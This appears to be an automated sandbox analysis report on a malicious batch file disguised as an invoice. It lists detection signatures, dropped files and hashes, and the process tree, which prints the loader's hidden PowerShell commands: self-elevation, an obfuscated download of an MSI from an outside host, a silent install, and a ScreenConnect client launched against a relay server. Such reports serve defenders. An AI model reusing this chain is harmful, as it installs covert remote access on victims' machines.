Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    28/07/2026, 00:16

General

  • Target
    A/Adobe/downloads/INVOICE2515.bat
  • Size 914B
  • Sample260728-akyevstgkd
  • SHA256 bc9bcb5915fdc314ed0b3de952c83b3380048c4ffd1bc3579b7e1badd7fa9181
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Badlisted process makes network request 5 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 15 IoCs
  • Drops file in Program Files directory 16 IoCs
  • Drops file in Windows directory 27 IoCs
  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 5 IoCs
  • Suspicious use of SendNotifyMessage 5 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\A\Adobe\downloads\INVOICE2515.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:808
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "& { Start-Process cmd -ArgumentList '/c','\"C:\Users\Admin\AppData\Local\Temp\A\Adobe\downloads\INVOICE2515.bat\" HIDDEN' -Verb RunAs -WindowStyle Hidden }"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:728
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\A\Adobe\downloads\INVOICE2515.bat" HIDDEN
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3316
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "try { $s='104116116112115058047047098105101097103116100107046115051046117115045101097115116045050046097109097122111110097119115046099111109047083099114101101110067111110110101099116046067108105101110116083101116117112046109115105'; $bytes=@(); for($i=0;$i -lt $s.Length;$i+=3){ $bytes+=[byte]($s.Substring($i,3)) }; $u=[System.Text.Encoding]::ASCII.GetString($bytes); $ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri $u -OutFile 'C:\Users\Admin\AppData\Local\Temp\~temp.msi' -UseBasicParsing } catch {}"
          4⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3428
        • C:\Windows\system32\msiexec.exe
          msiexec /i "C:\Users\Admin\AppData\Local\Temp\~temp.msi" /quiet /qn /norestart
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          PID:4968
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5960
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 0DB71CBB3FF974339279E3B26CEE3E3A
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3784
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSI96B3.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240818062 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:5724
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 423CA3241E2C528BF2EE4336023AF25F E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:2992
  • C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\ScreenConnect.ClientService.exe
    "C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=instance-qbrhhe-relay.screenconnect.com&p=443&s=d3833056-74eb-4fac-8a09-f80d7fac7d81&k=BgIAAACkAABSU0ExAAgAAAEAAQA5ARxGABeWFVnH8yD2RT8mrzgHBPqjpdYuQv4TDvCeKrEs1HuafgL%2bK5DNCr45O1%2bdvlb9imhdPa4UVaYnUTH3E1N9HOrlHrJZAA3JlnyX320gP4gKx3%2fhD9gFkr%2frHuoPl4s0znNG6G%2fQofCRKkIVQhFbN1Oew56NiTkNvE3MMKDDzSv24eNnD8RWz9sEGg6%2ft3MzjEOev3O1YHmAr4zUXB1eo9wBuXjWr%2bT6WjVFw8jwSHNJ5v9RwBDsGTOHU6Qv1hOJRv5qac55Sn3oSZsY%2bmQob6l1CRRGtEAiNZFdRd%2bGzFOgStT2QUi67RSNxHbHRNPaVQSb9kkkP%2b%2bSJMPX"
    1⤵
    • Sets service image path in registry
    • Executes dropped EXE
    • Loads dropped DLL
    • Drops file in System32 directory
    • System Location Discovery: System Language Discovery
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:5984
    • C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\ScreenConnect.WindowsClient.exe" "RunRole" "18a97468-a790-4c02-8357-151b339b0dee" "User"
      2⤵
      • Executes dropped EXE
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:5192

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        e5a93a9.rbs

        • Path C:\Config.Msi\e5a93a9.rbs
        • Size 214KB
        • SHA256 c9759e59f32022932b9a1d24f29a567fd70e9a35fe60ad220e71eaea47fa9299
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.en-US.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\Client.en-US.resources
        • Size 64KB
        • SHA256 a90983b3d26f9e6bb472663b84d13254349f62b0ad4c667fd76b3edd270240b2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\Client.resources
        • Size 6KB
        • SHA256 bd34378ad99f7609fa0c7c8edde6337c738a61d288863015629329806a1cc728
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Client.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\ScreenConnect.Client.dll
        • Size 412KB
        • SHA256 44d7c87abe55a23318a1627a845a999acc268cc4ece97e2e80849ad869809ee1
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\ScreenConnect.ClientService.dll
        • Size 91KB
        • SHA256 b607976c1aa7e804d8d53993ddf81ebf4b85117a12d7b4e9ee228e907e1f4025
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.exe

        • Path C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\ScreenConnect.ClientService.exe
        • Size 93KB
        • SHA256 4cfe96e8e6d4cc96bc0f9c7935ab32531deeb0f52a8c39f739da928d6f5d344b
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Core.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\ScreenConnect.Core.dll
        • Size 577KB
        • SHA256 5c98fa479fd677e900bd53f15c3969deeb99c109e026f169862a6458a55bddcb
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Windows.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\ScreenConnect.Windows.dll
        • Size 1.7MB
        • SHA256 c1a6e533825b7adb9c2312c1674a5506fd3db460a15443d82c58b5037c68a9f0
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsAuthenticationPackage.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\ScreenConnect.WindowsAuthenticationPackage.dll
        • Size 254KB
        • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe

        • Path C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\ScreenConnect.WindowsClient.exe
        • Size 675KB
        • SHA256 6d1660e7e219fd873124c6e491ed41793a9b43b29e90ca494893a07a70abe172
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe.config

        • Path C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\ScreenConnect.WindowsClient.exe.config
        • Size 266B
        • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
        • MD5 SHA1 SHA512 TLSH

        ScreenConnect.WindowsCredentialProvider.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\ScreenConnect.WindowsCredentialProvider.dll
        • Size 837KB
        • SHA256 f340a7376628a7a27ff45dd479cb5c09e072e79bbd318deef39325c29541dbdd
        • MD5 SHA1 SHA512 SSDEEP TLSH

        system.config

        • Path C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\system.config
        • Size 966B
        • SHA256 cd2e776b6d1d4f21bf1f85b1a80a6f4f2957653c4090b538e914d3258d551a83
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 60292489db6d4ba2a3e4448639fbe7fa2261be477f63ef09bca0b55e520a4777
        • MD5 SHA1 SHA512 TLSH

        ~temp.msi

        • Path C:\Users\Admin\AppData\Local\Temp\~temp.msi
        • Size 9.8MB
        • SHA256 44da81c6f5de83e24f5aa1fbd5f6e0367e86a159620fb56ef664a579ef9fb0c8
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSI96B3.tmp

        • Path C:\Windows\Installer\MSI96B3.tmp
        • Size 1.1MB
        • SHA256 71155d6834aa9d39bdbe3c1b1791f7e59c263b3be61ee4e4d645a29fdee7dd27
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Microsoft.Deployment.WindowsInstaller.dll

        • Path C:\Windows\Installer\MSI96B3.tmp-\Microsoft.Deployment.WindowsInstaller.dll
        • Size 172KB
        • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Core.dll

        • Path C:\Windows\Installer\MSI96B3.tmp-\ScreenConnect.Core.dll
        • Size 567KB
        • SHA256 3e335088245a44e7d929a108a3fec2985df749f697fdd7c1815abefe9a1effb0
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.InstallerActions.dll

        • Path C:\Windows\Installer\MSI96B3.tmp-\ScreenConnect.InstallerActions.dll
        • Size 24KB
        • SHA256 52d52f271a4314bece5f573642fd41f9e71724796e250a96ca61470ba71b4d82
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Windows.dll

        • Path C:\Windows\Installer\MSI96B3.tmp-\ScreenConnect.Windows.dll
        • Size 1.7MB
        • SHA256 e0cf56d4793a7ac0ede73d5229c1cf8a9eb0f8352a61ecdd42ee4800a42ceaef
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSI9ED3.tmp

        • Path C:\Windows\Installer\MSI9ED3.tmp
        • Size 202KB
        • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
        • MD5 SHA1 SHA512 SSDEEP TLSH

        4nqdt3r5.newcfg

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (09af6a8051d3c228)\4nqdt3r5.newcfg
        • Size 880B
        • SHA256 cfdaae6ca9132f1860a0cb3f1037a34c1058a36604ac9c4cc114518376a2c646
        • MD5 SHA1 SHA512 TLSH

        5lvvpdkb.newcfg

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (09af6a8051d3c228)\5lvvpdkb.newcfg
        • Size 880B
        • SHA256 c1f93e6b0a90be25c6827a1bfc2d9378e353ede04731e964a81cb4ad4ce01f24
        • MD5 SHA1 SHA512 TLSH

        a3pqce2q.newcfg

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (09af6a8051d3c228)\a3pqce2q.newcfg
        • Size 683B
        • SHA256 1452cff1d47e8075b9fa7e212b4aca40e91b87fb121952447b3f1f5ce58b48d8
        • MD5 SHA1 SHA512 TLSH

        tn4jibo1.newcfg

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (09af6a8051d3c228)\tn4jibo1.newcfg
        • Size 880B
        • SHA256 7f7f08ca164cc0e5300f19915662239623807a6d5e78b8639c68b38a2028fec1
        • MD5 SHA1 SHA512 TLSH

        user.config

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (09af6a8051d3c228)\user.config
        • Size 520B
        • SHA256 52a2f08105c8ad0d8606cd22fc06c61383842956ff7ee83b57a3bc838478223f
        • MD5 SHA1 SHA512 TLSH

        memory/728-10-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp

        memory/728-8-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp

        memory/728-1-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp

        memory/728-4-0x0000019346780000-0x00000193467A2000-memory.dmp

        memory/728-5-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp

        memory/728-6-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp

        memory/728-7-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp

        memory/728-9-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp

        memory/728-12-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp

        memory/728-13-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp

        memory/728-0-0x00007FFFFB70F000-0x00007FFFFB710000-memory.dmp

        memory/3428-34-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp

        memory/3428-29-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp

        memory/3428-15-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp

        memory/3428-14-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp

        memory/3428-16-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp

        memory/3428-26-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp

        memory/3428-25-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp

        memory/3428-22-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp

        memory/3428-28-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp

        memory/3428-21-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp

        memory/3428-30-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp

        memory/3428-27-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp

        memory/3428-24-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp

        memory/3428-23-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp

        memory/3428-20-0x00007FFFFB580000-0x00007FFFFBF24000-memory.dmp

        memory/5192-172-0x0000000000AF0000-0x0000000000B9C000-memory.dmp

        memory/5192-173-0x0000000002CA0000-0x0000000002D0C000-memory.dmp

        memory/5192-174-0x0000000002E70000-0x0000000002F04000-memory.dmp

        memory/5192-177-0x000000001C110000-0x000000001C298000-memory.dmp

        memory/5192-176-0x0000000001420000-0x000000000143A000-memory.dmp

        memory/5192-178-0x0000000001450000-0x0000000001491000-memory.dmp

        memory/5192-175-0x000000001BDD0000-0x000000001BF80000-memory.dmp

        memory/5724-69-0x0000000005700000-0x00000000058B0000-memory.dmp

        memory/5724-70-0x0000000005E70000-0x000000000642A000-memory.dmp

        memory/5724-65-0x00000000054B0000-0x0000000005544000-memory.dmp

        memory/5724-61-0x0000000003360000-0x000000000336C000-memory.dmp

        memory/5724-57-0x0000000003320000-0x000000000334E000-memory.dmp

        memory/5984-153-0x0000000004310000-0x00000000043E6000-memory.dmp

        memory/5984-151-0x0000000003CB0000-0x0000000003CF1000-memory.dmp

        memory/5984-149-0x0000000004120000-0x00000000041B2000-memory.dmp

        memory/5984-148-0x00000000040B0000-0x000000000411C000-memory.dmp

        memory/5984-118-0x0000000003CF0000-0x0000000003D40000-memory.dmp

        memory/5984-116-0x0000000003F00000-0x00000000040B0000-memory.dmp

        memory/5984-112-0x0000000003C00000-0x0000000003C94000-memory.dmp

        memory/5984-106-0x00000000014B0000-0x00000000014CA000-memory.dmp